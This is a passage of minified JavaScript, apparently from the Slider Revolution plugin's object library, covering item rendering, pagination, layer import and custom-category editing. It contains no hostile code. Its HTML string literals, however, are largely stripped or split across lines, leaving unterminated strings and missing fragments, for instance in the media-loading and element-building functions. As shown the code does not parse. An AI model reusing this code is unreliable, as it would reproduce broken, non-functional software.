0!==n.img&&("object"==typeof n.img&&-1===n.img.url.indexOf("//")||"object"!=typeof n.img&&-1===n.img.indexOf("//"))&&RVS.LIB.OBJ.waitForLoad.push({librarytype:n.libraryType,mediatype:"img",ind:l,id:"object"==typeof n.img?n.img.url:n.img}),void 0!==n.video_thumb&&("object"==typeof n.video_thumb&&-1===n.video_thumb.url.indexOf("//")||"object"!=typeof n.video_thumb&&-1===n.video_thumb.indexOf("//"))&&RVS.LIB.OBJ.waitForLoad.push({librarytype:n.libraryType,mediatype:"video",ind:l,id:"object"==typeof n.video_thumb?n.video_thumb.url:n.img}))}RVS.F.loadAllMissingMedia()}else void 0!==RVS.F["checkLoadedItems_"+RVS.LIB.OBJ.selectedType]&&RVS.F["checkLoadedItems_"+RVS.LIB.OBJ.selectedType]()},RVS.F.loadAllMissingMedia=function(){if(RVS.LIB.OBJ.waitForLoad.length>0){if(RVS.LIB.OBJ.waitForLoadIndex'+RVS_LANG.loading+" "+e+"")}}else RVS.F.finalDrawOfElements()},RVS.F.loadCustomLibraryItems=function(e,t){var i=[];for(var a in RVS.LIB.OBJ.items[e])if(RVS.LIB.OBJ.items[e].hasOwnProperty(a)){var r=RVS.LIB.OBJ.items[e][a];jQuery.inArray(r.id,RVS.LIB.OBJ.pages[RVS.LIB.OBJ.selectedPage-1])>=0&&0==r.img&&i.push({ind:a,id:r.id,handle:r.handle})}if(i.length>0){var o=Math.round(i.length)+" "+RVS_LANG.elements+" ("+Math.round(i.length*t)/100+"MB)";RVS.F.ajaxRequest("download_lordicon_file",{handle:i},function(t){if(t.success){for(var i in t.data)if(t.data.hasOwnProperty(i)){var a=t.data[i];RVS.LIB.OBJ.items[e][a.ind].img=a.url}RVS.F.finalDrawOfElements()}else console.log("Could Not be loaded. Please try later."),RVS.F.finalDrawOfElements()},void 0,void 0,RVS_LANG.loadingthumbs+'
'+RVS_LANG.loading+" "+o+"")}else RVS.F.finalDrawOfElements()},RVS.F.createLibraryDummyDownloadItem=function(e,t){0===RVS.LIB.OBJ.filteredList.length&&(void 0===RVS.LIB.OBJ[e+"CustomItemAdded"]||"add_custom_item"!==RVS.LIB.OBJ.items[e][0].handle?(RVS.LIB.OBJ.items[e].unshift({id:e+"_99999",handle:"add_custom_item",libraryType:e,parent:-1,favorite:!1,tags:[],title:t,ver:"1"}),RVS.LIB.OBJ[e+"CustomItemAdded"]=!0,RVS.LIB.OBJ.items[e][0].tags.push(RVS.LIB.OBJ.selectedFilter)):RVS.LIB.OBJ.items[e][0].tags.push(RVS.LIB.OBJ.selectedFilter),RVS.F.updateFilteredList(),RVS.F.finalDrawOfElements())},RVS.F.finalDrawOfElements=function(){for(var e in RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType])if(RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].hasOwnProperty(e)){var t=RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][e];jQuery.inArray(t.id,RVS.LIB.OBJ.pages[RVS.LIB.OBJ.selectedPage-1])>=0?(0,void 0!==t.ref&&t.folder&&t.ref.remove(),t.ref=void 0===t.ref||t.folder?RVS.F.buildElement(t):t.ref,t.ref.appendTo(RVS.LIB.OBJ.container_Output)):void 0!==t.ref&&t.ref.detach()}"moduletemplates"===RVS.LIB.OBJ.selectedType&&RVS.F.initOnOff(RVS.LIB.OBJ.container_Output),S()},RVS.F.buildElement=function(e,t){e.importantid=RVS.F.isNumeric(parseInt(e.id))?e.libraryType+"_"+e.id:e.id;var i='
';i+='\t
',i+='\t
',i+="\t
",i+="
";var a=jQuery(i),o=a.find(".olibrary_content_wrap"),s=a.find(".olibrary_media_wrap"),l="",n="",d='check',c='close';switch(e.libraryType){case"moduletemplates":var p,u=!0,v=!0,g=!0;if(l='
',l+='\t
'+e.title+"
",l+="true"==e.package_parent?'\t
'+RVS_LANG.packageBIG+"
":'\t
'+RVS_LANG.moduleBIG+"
",l+='\t",l+="
",l+='
',l+='\tstar',l+="
",n+='
',n+='
'+e.title+"
",n+=e.description,n+='
',n+='
'+RVS_LANG.setupnotes+"
",n+=e.setup_notes,(void 0!==e.required||void 0!==e.plugin_require&&null!==e.plugin_require)&&(n+='
',n+='
'+RVS_LANG.requirements+"
",void 0!==e.required&&(n+='
'+(RVS.F.compareVersions(e.required,RVS.ENV.revision)?d:c)+"Slider Revolution Version "+e.required+"
"),0==RVS.F.compareVersions(e.required,RVS.ENV.revision)&&(u=!1),void 0!==e.plugin_require&&null!==e.plugin_require))for(var m in e.plugin_require)e.plugin_require.hasOwnProperty(m)&&(n+='
'+("true"==e.plugin_require[m].installed||1==e.plugin_require[m].installed?d:c)+''+e.plugin_require[m].name+"
","true"!==e.plugin_require[m].installed&&!0!==e.plugin_require[m].installed&&(v=!1));u=!1!==RVS.ENV.activated&&u,"editor"===RVS.LIB.OBJ.context?"true"==e.package_parent?a.append('
folder
'):v&&u?a.append('
burst_mode
'):a.append('
burst_mode
'):"true"==e.package_parent?a.append('
addfoldervisibility
'):a.append('
addvisibility
'),void 0!==e.package_id&&-1!==e.package_id&&(p=function(e){var t,i=[],a=!0,r=[];for(var o in RVS.LIB.OBJ.items.moduletemplates)RVS.LIB.OBJ.items.moduletemplates.hasOwnProperty(o)&&RVS.LIB.OBJ.items.moduletemplates[o].package_id===e.packageId&&("true"===RVS.LIB.OBJ.items.moduletemplates[o].package_parent?t=RVS.LIB.OBJ.items.moduletemplates[o]:i.push({o:parseInt(RVS.LIB.OBJ.items.moduletemplates[o].package_order,0),uid:RVS.LIB.OBJ.items.moduletemplates[o].uid}));i.sort(function(e,t){return e.o-t.o});var s=[];for(var o in i)void 0!==i[o]&&void 0!==i[o].uid&&s.push(i[o].uid);if(void 0!==t)for(var l in t.plugin_require)"true"!=t.plugin_require[l].installed&&(a=!1),r.push(t.plugin_require[l]);return{installable:a,uids:s,addons:r}}({packageId:e.package_id}),"true"!=e.package_parent&&!1===p.installable&&(g=!1)),n+='
',n+='
'+RVS_LANG.availableversion+"
",n+='
'+e.version+"
",n+='
';var h=!1;if("true"!=e.package_parent&&(RVS.ENV.activated?n+=u?'
file_download'+(v?RVS_LANG.installtemplate:RVS_LANG.installtemplateandaddons)+"
":'
file_download'+RVS_LANG.pluginsmustbeupdated+"
":(h=!0,n+='
file_download'+RVS_LANG.licencerequired+"
"),void 0!==e.package_id&&-1!==e.package_id&&(n+='
')),void 0!==e.package_id&&-1!==e.package_id&&(RVS.ENV.activated&&u?n+='
file_download'+(u&&g?RVS_LANG.doinstallpackage:RVS_LANG.installpackageandaddons)+"
":u?h||(n+='
file_download'+RVS_LANG.licencerequired+"
"):n+='
file_download'+RVS_LANG.checkversion+"
"),("true"!=e.package_parent&&u||void 0!==e.package_id&&-1!==e.package_id&&u)&&(n+='
',n+='
'+RVS_LANG.redownloadTemplate+"
",n+='
'+RVS_LANG.createBlankPage+"
"),n+="
",void 0!==e.img&&"string"==typeof e.img)tpGS.gsap.set(s,{backgroundImage:"url("+e.img+")","background-size":"cover",backgroundPosition:"center center"});else if(void 0!==e.img&&"object"==typeof e.img){var f=void 0!==e.img.style?jQuery('
'):jQuery('
');void 0!==e.img.url&&e.img.url.length>3&&tpGS.gsap.set(f,{backgroundImage:"url("+e.img.url+")"}),s.append(f)}break;case"moduleslides":case"moduletemplateslides":u=!0,g=!0;if(l='
',l+='\t
'+e.title+"
",l+="true"==e.package_parent?'\t
'+RVS_LANG.packageBIG+"
":'\t
'+RVS_LANG.moduleBIG+"
","moduletemplateslides"===e.libraryType&&(void 0!==e.required||void 0!==e.plugin_require&&null!==e.plugin_require)&&(void 0!==e.required&&0==RVS.F.compareVersions(e.required,RVS.ENV.revision)&&(u=!1),void 0!==e.plugin_require&&null!==e.plugin_require))for(var m in e.plugin_require)e.plugin_require.hasOwnProperty(m)&&"true"!=e.plugin_require[m].installed&&!0!==e.plugin_require[m].installed&&u&&(u=!1);if("layers"===RVS.LIB.OBJ.depth)a.append('
layers
'),r(e,s);else if(u&&(a.append('
add
'),l+="moduletemplateslides"===e.libraryType?'\t":"",l+="
"),"moduletemplateslides"===e.libraryType){if(void 0!==e.img&&"string"==typeof e.img)tpGS.gsap.set(s,{backgroundImage:"url("+e.img+")","background-size":"cover",backgroundPosition:"center center"});else if(void 0!==e.img&&"object"==typeof e.img){f=void 0!==e.img.style?jQuery('
'):jQuery('
');void 0!==e.img.url&&e.img.url.length>3&&tpGS.gsap.set(f,{backgroundImage:"url("+e.img.url+")"}),s.append(f)}}else r(e,s);break;case"svgs":l='
',l+='\t
'+e.title+"
",l+='\t
'+RVS_LANG.iconBIG+"
",l+='\t",l+="
",l+='
',l+='\tstar',l+="
",a.append('
add
'),void 0!==e.img&&jQuery.get(e.img,function(e){var t=RVS.F.cE({cN:"ol_svg_preview"});t.innerHTML=(new XMLSerializer).serializeToString(e.documentElement),s.append(t)}),s[0].className+=" patternbg";break;case"fonticons":l='
',l+='\t
'+e.title+"
",l+='\t
'+RVS_LANG.iconBIG+"
",l+='\t",l+="
",l+='
',l+='\tstar',l+="
",a.append('
add
');var S="";if(void 0!==e.classextension)for(var b in e.classextension)e.classextension.hasOwnProperty(b)&&(S+=" "+e.classextension[b]);"MaterialIcons"===e.tags[0]?s.append(''+e.handle.replace(".","")+""):s.append(''),s[0].className+=" patternbg";break;case"modules":let t=!("undefined"==typeof RS_SHORTCODE_FAV||!RS_SHORTCODE_FAV.modules)&&RS_SHORTCODE_FAV.modules;if(t)for(let i in t)if(t.hasOwnProperty(i)&&t[i]===e.id){e.favorite=!0;break}if(e.premium&&a.append('
'+RVS_LANG.premium+'
visibility_off'+RVS_LANG.premium+'
visibility_off'+RVS_LANG.premiumunlock+"
"),l='
',l+='\t
'+e.title+"
",e.folder?l+='\t
'+RVS_LANG.folderBIG+"
":l+='\t
'+RVS_LANG.moduleBIG+"
",e.folder||(l+='\t"),l+="
",l+='
',l+='\tstar',l+="
",e.folder){a.append('
folder
');for(b=1;b<=4;b++){var y=jQuery('
');if(void 0!==e.children&&e.children.length>=b){var R=RVS.F.getSliderIndex(e.children[b-1]);-1!==R&&r(RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][R],y)}s.append(y)}s.addClass("obj_med_darkbg")}else"editor"===RVS.LIB.OBJ.context?a.append('
burst_mode
'):RVS.LIB.OBJ.shortcode_generator?a.append('
add
'):a.append('
addvisibility
'),r(e,s);break;case"objects":if(l='
',l+='\t
'+e.title+"
",l+='\t
'+RVS_LANG.objectBIG+"
",l+='\t",l+="
",l+='
',l+='\tstar',l+="
",!1===RVS.ENV.activated?a.append('
not_interested'+RVS_LANG.licencerequired+"
"):a.append('
'),void 0!==e.img&&"string"==typeof e.img){f=jQuery('');s.append(f)}else if(void 0!==e.img&&"object"==typeof e.img){f=void 0!==e.img.style?jQuery('
'):jQuery('
');void 0!==e.img.url&&e.img.url.length>3&&tpGS.gsap.set(f,{backgroundImage:"url("+e.img.url+")",backgroundRepeat:"no-repeat","background-size":"contain",backgroundPosition:"center center"}),s.append(f)}s[0].className+=" patternbg";break;case"images":if(l='
',l+='\t
'+e.title+"
",l+='\t
'+RVS_LANG.imageBIG+"
",l+='\t",l+="
",l+='
',l+='\tstar',l+="
",!1===RVS.ENV.activated?a.append('
not_interested'+RVS_LANG.licencerequired+"
"):a.append('
'),void 0!==e.img&&"string"==typeof e.img)tpGS.gsap.set(s,{backgroundImage:"url("+e.img+")","background-repeat":"no-repeat","background-size":"cover",backgroundPosition:"center center",backgroundRepeat:"no-repeat"});else if(void 0!==e.img&&"object"==typeof e.img){f=void 0!==e.img.style?jQuery('
'):jQuery('
');void 0!==e.img.url&&e.img.url.length>3&&tpGS.gsap.set(f,{backgroundImage:"url("+e.img.url+")"}),s.append(f)}s[0].className+=" patternbg";break;case"videos":if(l='
',l+='\t
'+e.title+"
",l+='\t
'+RVS_LANG.videoBIG+"
",l+='\t",l+="
",l+='
',l+='\tstar',l+="
",n+='
',n+="
",a[0].className+=" show_video_on_hover",a[0].dataset.videosource=e.video_thumb.url,!1===RVS.ENV.activated?a.append('
not_interested'+RVS_LANG.licencerequired+"
"):a.append('
add
'),s[0].dataset.videosource=e.video_thumb.url,void 0!==e.img&&"string"==typeof e.img)tpGS.gsap.set(s,{backgroundImage:"url("+e.img+")","background-repeat":"no-repeat","background-size":"cover",backgroundPosition:"center center"});else if(void 0!==e.img&&"object"==typeof e.img){f=void 0!==e.img.style?jQuery('
'):jQuery('
');void 0!==e.img.url&&e.img.url.length>3&&tpGS.gsap.set(f,{backgroundImage:"url("+e.img.url+")"}),s.append(f)}break;case"layers":if(e.title=RVS.F.capitaliseAll(e.title.replace(/[_-]/g," ")),l='
',l+='\t
'+e.title+"
",l+='\t
'+RVS_LANG.layersBIG+"
",l+='\t",l+="
",l+='
',l+='\tstar',l+="
",n+='
',n+="
",a[0].className+=" show_video_on_hover",a[0].dataset.videosource=e.video_thumb.url,!1===RVS.ENV.activated?a.append('
not_interested'+RVS_LANG.licencerequired+"
"):a.append('
add
'),s[0].dataset.videosource=e.video_thumb.url,void 0!==e.img&&"string"==typeof e.img)tpGS.gsap.set(s,{backgroundImage:"url("+e.img+")","background-repeat":"no-repeat","background-size":"cover",backgroundPosition:"center center"});else if(void 0!==e.img&&"object"==typeof e.img){f=void 0!==e.img.style?jQuery('
'):jQuery('
');void 0!==e.img.url&&e.img.url.length>3&&tpGS.gsap.set(f,{backgroundImage:"url("+e.img.url+")",backgroundSize:"cover"}),s.append(f)}break;default:if(void 0!==RVS.F["newObjectLibraryItem_"+e.libraryType]){var _=RVS.F["newObjectLibraryItem_"+e.libraryType](e,a,s);void 0!==_.content&&(l+=_.content),void 0!==_.infocontent&&(n+=_.infocontent)}}if(""!==l&&o.append(l),""!==n&&a.append(n),void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType]&&void 0!==RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].upload){var V=a.find(".olibrary_custom_tagselector");void 0!==e.tags&&void 0!==e.tags[0]&&e.tags.length>0&&"All"!==e.tags[0]?V.val(e.tags[0]):V.val("all"),void 0!==V&&V.length>0&&V.ddTP()}return a},RVS.F.getCustomTagsOptions=function(e){var t='';if(void 0===RVS.LIB.OBJ.types[e]||void 0===RVS.LIB.OBJ.types[e].tags)return"";for(var i in RVS.LIB.OBJ.types[e].tags)if(RVS.LIB.OBJ.types[e].tags.hasOwnProperty(i)){var a=RVS.LIB.OBJ.types[e].tags[i];a=void 0===a?"All":a,t=t+'"}return t},RVS.F.changeOLIBToFolder=function(e){0==RVS.F.getFolderSize(e)&&(e=-1),RVS.LIB.OBJ.selectedFolder=e,RVS.F.resetAllFilters(),RVS.F.updateFilteredList({force:!0,keeppage:!1,noanimation:!1})},RVS.F.getFolderSize=(e=>{let t=0;for(var i in RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType])RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].hasOwnProperty(i)&&""+RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][i].parent==""+e&&t++;return t}),RVS.F.buildPagination=function(e){var t,i,a,r=RVS.F.getCookie("rs6_library_pagination");if(RVS.C.ol_pagination=null==RVS.C.ol_pagination?jQuery("#ol_pagination"):RVS.C.ol_pagination,t=i=a=g(),jQuery("#ol_right").scrollTop(0),e=void 0===e?{keeppage:!1}:e,RVS.LIB.OBJ.maxAmountPerPage!==t){RVS.C.ol_pagination.ddTP("destroy"),RVS.LIB.OBJ.maxAmountPerPage=t;for(var o=RVS.C.ol_pagination[0].options,s=0;s<=4;s++){var l=o[s];l.value=a,l.selected=l.value===r,l.innerHTML=RVS_LANG.show+" "+a+" "+RVS_LANG.perpage,a+=i}RVS.C.ol_pagination.ddTP()}RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].length0?jQuery(".page_button.ol_pagination.selected").data("page"):1;var n,d=RVS.LIB.OBJ.container_Pagination[0].value||4,c=0;if(RVS.LIB.OBJ.pageAmount="all"===d||null===parseInt(d,0)||0===parseInt(d,0)?1:Math.ceil(RVS.LIB.OBJ.filteredList.length/parseInt(d,0)),RVS.LIB.OBJ.itemPerPage="all"===d?99999:parseInt(d,0),RVS.LIB.OBJ.itemPerPage=-1!=RVS.LIB.OBJ.selectedFolder?RVS.LIB.OBJ.itemPerPage-1:RVS.LIB.OBJ.itemPerPage,RVS.LIB.OBJ.container_PaginationWrap[0].innerHTML="",RVS.LIB.OBJ.selectedPage=RVS.LIB.OBJ.selectedPage>RVS.LIB.OBJ.pageAmount?RVS.LIB.OBJ.pageAmount:RVS.LIB.OBJ.selectedPage,RVS.LIB.OBJ.pageAmount>1)for(s=1;s<=RVS.LIB.OBJ.pageAmount;s++)n=s!==RVS.LIB.OBJ.selectedPage?"":"selected",RVS.LIB.OBJ.container_PaginationWrap[0].innerHTML+='
'+s+"
",1===s?RVS.LIB.OBJ.container_PaginationWrap[0].innerHTML+='
...
':s===RVS.LIB.OBJ.pageAmount-1&&(RVS.LIB.OBJ.container_PaginationWrap[0].innerHTML+='
...
');for(var p in RVS.LIB.OBJ.pages=[],RVS.LIB.OBJ.pages.push([]),RVS.LIB.OBJ.filteredList)RVS.LIB.OBJ.filteredList.hasOwnProperty(p)&&(RVS.LIB.OBJ.pages[RVS.LIB.OBJ.pages.length-1].push(RVS.LIB.OBJ.filteredList[p]),++c===RVS.LIB.OBJ.itemPerPage&&(c=0,RVS.LIB.OBJ.pages.push([])));m()},RVS.F.buildObjectLibrary=function(t){var i='
';for(var a in i+='\t',i+='\t
',i+='\t\t
',i+="\t
",i+='\t
',i+='\t
',i+='\t\t",i+='\t\t
',i+=' \t\t\t
',i+='\t\t\t
',i+="\t\t
",i+='\t\t",i+="\t
",i+="
",RVS.LIB.OBJ.container_Library=jQuery(i),RVS.LIB.OBJ.container_Underlay=RVS.LIB.OBJ.container_Library.find("#ol_right_underlay"),RVS.LIB.OBJ.container_Right=RVS.LIB.OBJ.container_Library.find("#ol_right"),RVS.LIB.OBJ.container_Filters=RVS.LIB.OBJ.container_Library.find("#ol_filters"),RVS.LIB.OBJ.container_Output=RVS.LIB.OBJ.container_Library.find("#ol_results"),RVS.LIB.OBJ.container_OutputWrap=RVS.LIB.OBJ.container_Library.find("#ol_results_wrap"),RVS.LIB.OBJ.container_PaginationWrap=RVS.LIB.OBJ.container_Library.find("#ol_pagination_wrap"),RVS.LIB.OBJ.container_Pagination=RVS.LIB.OBJ.container_Library.find("#ol_pagination"),RVS.LIB.OBJ.container_Sorting=RVS.LIB.OBJ.container_Library.find("#ol_modulessorting"),RVS.LIB.OBJ.types)RVS.LIB.OBJ.types.hasOwnProperty(a)&&R({groupType:a,groupAlias:RVS_LANG["ol_"+a],icon:e[a],count:RVS.LIB.OBJ.types[a].count,tags:RVS.LIB.OBJ.types[a].tags,custom:RVS.LIB.OBJ.types[a].upload});jQuery(document.body).append(RVS.LIB.OBJ.container_Library),jQuery("#sel_olibrary_sorting").ddTP(),RVS.C.ol_pagination=null==RVS.C.ol_pagination?jQuery("#ol_pagination"):RVS.C.ol_pagination,RVS.C.ol_pagination.ddTP(),S()},RVS.F.buildLayerListToSelect=function(e){var t,i='
',a={root:""};for(var r in e)e.hasOwnProperty(r)&&"zone"!==e[r].type&&(e[r]=jQuery.extend(!0,RVS.F.addLayerObj(e[r].type,void 0,!0),e[r]),void 0!==e[r].group&&"row"!==e[r].type&&"group"!==e[r].type&&"column"!==e[r].type&&(-1==e[r].group.puid?a.root+=n(e[r],0):(a[e[r].group.puid]=null==a[e[r].group.puid]?"":a[e[r].group.puid],t="column"==e[e[r].group.puid].type?2:null==e[e[r].group.puid].group.puid||-1==e[e[r].group.puid].group.puid||"-1"==e[e[r].group.puid].group.puid?1:"group"==e[e[e[r].group.puid].group.puid].type?2:3,a[e[r].group.puid]+=n(e[r],t))));for(var r in e)e.hasOwnProperty(r)&&"group"===e[r].type&&-1!=e[r].group.puid&&"-1"!=e[r].group.puid&&null!=e[r].group.puid&&"group"===e[r].type&&(a[e[r].group.puid]=null==a[e[r].group.puid]?"":a[e[r].group.puid],a[e[r].group.puid]+='
',t="group"==e[e[r].group.puid].type?1:"column"==e[e[r].group.puid].type?2:0,a[e[r].group.puid]+=n(e[r],t),a[e[r].group.puid]+='
',void 0!==a[e[r].uid]&&(a[e[r].group.puid]+=a[e[r].uid]),a[e[r].group.puid]+="\t
",a[e[r].group.puid]+="
");for(var r in e)e.hasOwnProperty(r)&&"column"===e[r].type&&(a[e[r].group.puid]=null==a[e[r].group.puid]?"":a[e[r].group.puid],a[e[r].group.puid]+='
',a[e[r].group.puid]+=n(e[r],1),a[e[r].group.puid]+='
',void 0!==a[e[r].uid]&&(a[e[r].group.puid]+=a[e[r].uid]),a[e[r].group.puid]+="\t
",a[e[r].group.puid]+="
");for(var r in e)e.hasOwnProperty(r)&&("row"!==e[r].type&&("group"!=e[r].type||-1!=e[r].group.puid&&"-1"!=e[r].group.puid&&null!=e[r].group.puid)||(i+='
',i+=n(e[r],0),i+='\t
',void 0!==a[e[r].uid]&&(i+=a[e[r].uid]),i+="\t
",i+="
"));return i+=a.root,i+="
"},RVS.F.layerImportList=function(){jQuery("#rb_modal_underlay").appendTo("body"),void 0!==RVS.LIB.OBJ.import&&void 0!==RVS.LIB.OBJ.import.basics||(jQuery('.rb-modal-wrapper[data-modal="rbm_layerimport"]').appendTo("body"),RVS.LIB.OBJ.import={container:jQuery("#rbm_layerimport_list"),basics:!0},RVS.DOC.on("click","#rbm_layerimport .rbm_close",function(){jQuery("#rb_modal_underlay").appendTo("#slider_settings"),RVS.F.RSDialog.close()}),RVS.DOC.on("click",".layimpli_element",function(){jQuery(this).toggleClass("selected"),function(e){if("column"===e.dataset.type||"row"===e.dataset.type||"group"===e.dataset.type){var t=e.parentNode.getElementsByClassName("layimpli_element");if(e.className.indexOf("selected")>=0)for(let e in t)t.hasOwnProperty(e)&&void 0!==t[e].className&&-1==t[e].className.indexOf("selected")&&(t[e].className+=" selected");else for(let e in t)t.hasOwnProperty(e)&&t[e].className&&(t[e].className=t[e].className.replace("selected",""))}if(-1!=e.dataset.puid&&e.className.indexOf("selected")>=0){var i=RVS.LIB.OBJ.items.moduleslides[RVS.LIB.OBJ.selectedSlideId].layers;void 0!==i[e.dataset.puid]&&"row"===i[e.dataset.puid].type&&(jQuery("#layi_"+e.dataset.puid).addClass("selected"),jQuery("#layi_"+i[e.dataset.puid].group.puid).addClass("selected"))}for(var a in RVS.LIB.OBJ.import.layers)if(void 0!==RVS.LIB.OBJ.import.layers[a].className&&"row"==RVS.LIB.OBJ.import.layers[a].dataset.type&&RVS.LIB.OBJ.import.layers[a].className.indexOf("selected")>=0){t=RVS.LIB.OBJ.import.layers[a].parentNode.getElementsByClassName("layimpli_element layimpli_level_1");for(let e in t)t.hasOwnProperty(e)&&void 0!==t[e].className&&-1==t[e].className.indexOf("selected")&&(t[e].className+=" selected")}}(this),function(){for(var e in RVS.LIB.OBJ.import.toImport=[],RVS.LIB.OBJ.import.layers){if(!RVS.LIB.OBJ.import.layers.hasOwnProperty(e))continue;let t=RVS.LIB.OBJ.import.layers[e].dataset;void 0!==RVS.LIB.OBJ.import.layers[e]&&void 0!==RVS.LIB.OBJ.import.layers[e].className&&(RVS.LIB.OBJ.import.layers[e].className.indexOf("selected")>=0?(RVS.LIB.OBJ.import.toImport.push(t.uid),RVS.LIB.OBJ.import.layers[e].getElementsByClassName("layimpli_icon_checbox")[0].innerHTML="check_circle_outline"):RVS.LIB.OBJ.import.layers[e].getElementsByClassName("layimpli_icon_checbox")[0].innerHTML="radio_button_unchecked")}jQuery("#layers_import_feedback").html(RVS.LIB.OBJ.import.toImport.length>0?RVS.LIB.OBJ.import.toImport.length+" "+RVS_LANG.nrlayersimporting:RVS_LANG.nothingselected)}()}),RVS.DOC.on("click","#layers_import_from_slides_button",function(){RVS.F.showWaitAMinute({fadeIn:100,text:RVS_LANG.importinglayers}),setTimeout(RVS.F.importSelectedLayers,200)})),RVS.LIB.OBJ.import.container[0].innerHTML=RVS.F.buildLayerListToSelect(RVS.LIB.OBJ.items.moduleslides[RVS.LIB.OBJ.selectedSlideId].layers),RVS.LIB.OBJ.import.container.RSScroll({suppressScrollX:!0}),RVS.LIB.OBJ.import.layers=RVS.LIB.OBJ.import.container[0].getElementsByClassName("layimpli_element"),RVS.F.RSDialog.create({modalid:"rbm_layerimport",bgopacity:.85})},RVS.F.resetAllFilters=function(){RVS.LIB.OBJ.selectedPage=1,jQuery("#sel_olibrary_sorting").val("datedesc").ddTP("change"),RVS.DOC.trigger("updateObjectLibraryOverview",{val:"datedesc",eventparam:"#reset_objsorting",ignoreRebuild:!0,ignoreCookie:!0})},RVS.F.closeObjectLibrary=function(){v(),RVS.LIB.OBJ.moduleInFocus=!1,tpGS.gsap.fromTo(RVS.LIB.OBJ.container_Library,.7,{autoAlpha:1,display:"block",scale:1},{scale:.8,autoAlpha:0,display:"none",ease:"power3.inOut"}),tpGS.gsap.fromTo("#ol_header, #ol_footer",.5,{autoAlpha:1},{autoAlpha:0,ease:"power3.inOut"}),RVS.LIB.OBJ.open=!1,RVS.DOC.trigger("objectlibrary_closed"),document.body.style.overflow=RVS.S.bodybeforeOpenLibrary},RVS.F.isItemExistsInOl=function(e,t){var i;for(var a in RVS.LIB.OBJ.items[t])RVS.LIB.OBJ.items[t].hasOwnProperty(a)&&!0!==i&&(i=""+RVS.LIB.OBJ.items[t][a].id==""+e);return i},RVS.F.getSliderIndex=function(e){var t=-1;for(var i in RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType])RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].hasOwnProperty(i)&&RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType][i].id==e&&(t=i);return t},RVS.F.getModuleIndex=function(e,t){var i=-1;for(var a in RVS.LIB.OBJ.items[t])RVS.LIB.OBJ.items[t].hasOwnProperty(a)&&RVS.LIB.OBJ.items[t][a].id==e&&(i=a);return i},RVS.F.updateCustomCategorySelectors=function(e){var t=RVS.LIB.OBJ.items[e];for(var i in t)if(t.hasOwnProperty(i)&&void 0!==t[i].ref){var a=t[i].ref.find(".olibrary_custom_tagselector");void 0!==a&&a.length>0&&(a[0].innerHTML=RVS.F.getCustomTagsOptions(e),void 0!==t[i].tags&&void 0!==t[i].tags[0]&&a.val(t[i].tags[0]),a.ddTP())}},RVS.DOC.on("click",".filter_tag_name_edit",function(){return jQuery(this).closest(".ol_filter_listelement").addClass("inedit"),jQuery(this).siblings(".filter_tag_name_input").trigger("focus"),!1}),RVS.DOC.on("click",".filter_tag_name_delete",function(){var e=jQuery(this).closest(".ol_filter_listelement"),t=(e.find(".filter_tag_name_input"),e.find(".filter_tag_name"),e[0].dataset.filter),i=e[0].dataset.type;return RVS.F.RSDialog.create({bgopacity:.85,modalid:"rbm_decisionModal",icon:"delete",title:RVS_LANG.deletecustomcategory,maintext:RVS_LANG.areyousuretodelete+"?",subtext:RVS_LANG.thiswilldeletecustomcategory,do:{icon:"delete",text:RVS_LANG.yesdeleteit,callback:function(){RVS.F.ajaxRequest("delete_customlibrary_tags",{id:t,type:i},function(a){var r;r=t,delete RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].tags[r],e.remove(),RVS.F.updateCustomCategorySelectors(i)})}},cancel:{icon:"cancel",text:RVS_LANG.cancel},swapbuttons:!0}),jQuery("#rbm_decisionModal").closest("._TPRB_.rb-modal-wrapper").appendTo(jQuery(document.body)).css({zIndex:1e8}),!1}),RVS.DOC.on("keyup",".olibrary_content_title_input",function(e){13===(e.keyCode?e.keyCode:e.which)&&jQuery(this).blur()}),RVS.DOC.on("click",".olibrary_edit_title, .olibrary_edit_title_main",function(){var e=jQuery(this).closest(".olibrary_item"),t=e.find(".olibrary_content_title"),i=e.find(".olibrary_content_title_input");e.hasClass("selected")||(e.addClass("selected"),t[0].style.opacity=0,i[0].style.display="block",i.trigger("focus"))}),RVS.DOC.on("blur",".olibrary_content_title_input",function(){var e=jQuery(this),t=e.closest(".olibrary_item"),i=e.siblings(".olibrary_content_title");(t.removeClass("selected"),i[0].style.opacity=1,e[0].style.display="none",this.value===i[0].innerHTML)||(d(i[0].dataset.id,i[0].dataset.librarytype).title=e.val(),RVS.F.ajaxRequest("edit_customlibrary_item",{id:i[0].dataset.id,name:e.val(),type:i[0].dataset.librarytype},function(t){i[0].innerHTML=e.val()}))}),RVS.DOC.on("uploadCustomObject",function(e,t){for(var i in t.items)t.items.hasOwnProperty(i)&&(RVS.F.isItemExistsInOl(t.items[i].id,RVS.LIB.OBJ.selectedType)||(t.items[i].libraryType=RVS.LIB.OBJ.selectedType,void 0===t.items[i].tags&&(t.items[i].tags=[]),RVS.LIB.OBJ.items[RVS.LIB.OBJ.selectedType].push(t.items[i])));var r=!1;for(i in t.tags)t.tags.hasOwnProperty(i)&&void 0===RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].tags[i]&&(RVS.LIB.OBJ.types[RVS.LIB.OBJ.selectedType].tags[i]=t.tags[i],r=!0);r&&a(RVS.LIB.OBJ.selectedType),RVS.F.updateFilteredList(),RVS.F.finalDrawOfElements()}),RVS.DOC.on("change",".olibrary_custom_tagselector",function(){var 